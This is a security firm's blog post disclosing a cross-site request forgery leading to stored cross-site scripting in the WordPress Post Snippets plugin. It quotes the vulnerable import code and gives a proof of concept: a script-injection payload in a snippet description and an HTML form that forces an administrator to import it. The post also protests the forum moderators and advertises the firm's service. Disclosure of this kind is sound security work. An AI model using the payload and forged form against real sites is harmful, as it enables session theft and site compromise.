14 Jan 2022

WordPress Plugin Post Snippets Contains CSRF/Cross-Site Scripting (XSS) Vulnerability

A week ago, one of the moderators of the WordPress support forum deleted a topic titled “[Post Snippets] v3.1.3 – Stored Cross-Site Scripting (XSS) vulnerability“. The moderator’s message in deleting that said “Please report vulnerabilities responsibly.” If there was a really a vulnerability being reported, the moderator didn’t make sure it was addressed, as the plugin hasn’t been updated in the past week.

After we got alerted about the deletion message, we looked at the plugin and found that it does at least contain a cross-site scripting (XSS) vulnerability that can be exploited through cross-site request forgery (CSRF).

The description field of the plugin’s post snippets isn’t secured against cross-site scripting (XSS). By default only Administrators have access to create those, so it wouldn’t be a vulnerability. The plugin does have a capability to provide access to lower -level users, but if they have that access, they also have a capability to run arbitrary PHP code, which is a bigger issue.

We also found that the plugin’s import functionality is not protected against CSRF, so an attacker could cause a logged in Administrator to do an import without intending it and through that cause cross-site scripting (XSS) to occur.

When accessing the plugin’s Import/Export page, the function importSnippets() in the file /src/PostSnippets/ImportExport.php is run, which does an import if a file named “postsnippets_import_file” is sent with the requests:

58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
public function importSnippets()
{
	$import =
	'<br/><br/><strong>'.
	__('Import', 'post-snippets').
	'</strong><br/>';
	if (!isset($_FILES['postsnippets_import_file'])
		|| empty($_FILES['postsnippets_import_file'])
	) {
		$import .=
		'<p>'.__('Import snippets from a post-snippets-export.zip file. Imported sinppets will get added at the bottom.', 'post-snippets').
		'</p>';
		$import .=
		'<p>'.__('Please make sure no snippets have duplicate titles.', 'post-snippets').
		'</p>';
		$import .= '<form method="post" enctype="multipart/form-data">';
		$import .= '<input type="file" name="postsnippets_import_file"/>';
		$import .= '<input type="hidden" name="action" value="wp_handle_upload"/>';
		$import .=
		'<input type="submit" class="button" value="'.
		__('Import Snippets', 'post-snippets').'"/>';
		$import .= '</form>';
	} else {
		$file = wp_handle_upload($_FILES['postsnippets_import_file']);

It doesn’t include a nonce check to prevent CSRF.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will create an alert box with any available cookies when visiting WordPress’ admin dashboard, when logged in as an Administrator.

Create a post snippet with the following description:

"><script>alert(document.cookie);</script>

Use the plugin’s export functionality to create a copy of that.

Delete the post snippet.

Import the file using the following form.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=post-snippets&tab=tools" enctype="multipart/form-data" method="POST">
<input type="hidden"  name="action" value="wp_handle_upload" />
<input type="file" name="postsnippets_import_file" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.